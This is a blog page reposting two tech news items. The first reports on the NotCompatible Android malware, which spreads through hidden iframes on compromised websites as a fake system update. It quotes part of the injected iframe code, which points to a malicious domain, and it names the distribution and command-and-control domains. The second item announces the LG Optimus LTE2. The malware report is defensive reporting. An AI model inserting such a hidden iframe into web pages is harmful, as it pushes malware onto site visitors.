New Android malware spreads via infected websites

Mobile security firm, Lookout, warns of a new malware which may be spreading itself to unsuspecting Android handsets and tablets. Coined as "NotCompatible", the malware is being propagated via Android's web browser which is thought to be a first for the mobile OS.
Before mass panic sets in through, there are a couple of things Android users should know. First, the malware doesn't seem to do anything malicious -- not yet. Secondly, NotCompatible still requires user intervention in order to install it.
Although viruses, trojans and other digital nasties commonly exploit browser vulnerabilities in the computer realm, there have been very few examples of this in the mobile universe. NotCompatible doesn't actually exploit Android's web browser; moreover, it takes advantage of some poor design decisions which can be used to trick less sophisticated users into installing it.
Here's how it works: The bug lives in a hidden iframe on infected websites. The malware then spreads itself by sending an infected .apk file to the user's phone or tablet guised as an automatic download (which Android's browser allows). As with any virus or malware, just downloading it isn't enough though -- it needs to be executed. Once the file is finished downloading, the website alerts the user that a new system update is available. If an unsuspecting user falls for the notification, it will install the .apk file and give NotCompatible ongoing access to the device.

Infected websites commonly have the following code inserted into the bottom of each page:
style=”visibility: hidden; display: none; display: none;”
src=”hxxp://gaoanalitics.info/?id={1234567890-0000-DEAD-BEEF-133713371337}”>
We’re still in the process of assessing the full extent of infected sites; however, there are early indications that the number of affected sites could be numerous.
Source: blog.mylookout.com

Although NotCompatible doesn't have any known payload or risk at the moment, it is possible that the malware could function as a trojan or proxy to something more malicious.
Two domains which currently house the malware, gaoanalitics.info and androidonlinefix.info, were singled out. According to Lookout though, there are many more. The firm also says the command and control domain seems to be notcompatibleapp.eu which happens to be the origin of its namesake.
View the original article here

Read more »

Posted in: Android,infected,malware,spreads,websites

LG Optimus LTE2 announced, packs 2GB RAM and Android 4.0

LG hoped to steal some of the attention directed at Samsung by teasing the newest member of its Optimus lineup on the same day the Galaxy S III was announced. Although the latter still managed to hog the entire mobile spotlight, the new LG Optimus LTE2 looks like it could give Samsung a good run for its money.

Starting off with the design and build quality, the Optimus LTE2 features a glass and metal casing, rather than the glossy plastic exterior of the Galaxy series. It also comes with 2GB of RAM, a first for any smartphone, as well as a TrueHD IPS display using a standard RGBG subpixel layout that's expected to outclass the PenTile RGBG layout used by Samsung in the Galaxy S III. Other features include wireless charging with a separate dock, 4G LTE connectivity, a large 2150 mAh battery and Android 4.0 Ice Cream Sandwich.

Unfortunately, processor and screen size/resolution are two key specs that still remain under wraps, but taking into account what's been revealed so far we can probably expect them to be top of the line as well.

The LG Optimus LTE2 should arrive in South Korea sometime in the middle of this month and will be available on at least three leading Korean mobile carriers for a yet undisclosed price point. There was no mention of when LG's new flagship smartphone will hit the US and other major markets.

View the original article here

Read more »

Posted in: Android,announced,Optimus,packs